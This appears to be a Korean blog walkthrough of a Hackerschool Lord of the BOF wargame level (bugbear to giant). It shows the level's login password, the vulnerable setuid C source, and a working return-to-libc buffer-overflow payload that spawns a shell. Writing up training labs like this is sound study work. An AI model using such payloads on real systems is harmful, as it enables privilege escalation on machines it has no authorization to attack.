해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이
M4ndU
해커스쿨 LOB [bugbear -> giant] 풀이입니다.
ID | bugbear
PW | new attacker
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: bugbear
Password:
[bugbear@localhost bugbear]$ bash2
[bugbear@localhost bugbear]$ ls -l
total 20
-rwsr-sr-x 1 giant giant 12933 Mar 9 2010 giant
-rw-r--r-- 1 root root 920 Mar 29 2010 giant.c
[bugbear@localhost bugbear]$ cat giant.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
echo 'int main(){long system = 0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%p\n", system);}' >getsystem.c
./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`
./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDH?
@?@?@廈@??
bash$ my-pass
euid = 514
one step closer
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이 (0) | 2018.02.13 |
---|---|
해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이 (0) | 2018.02.12 |
해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이 (0) | 2018.02.12 |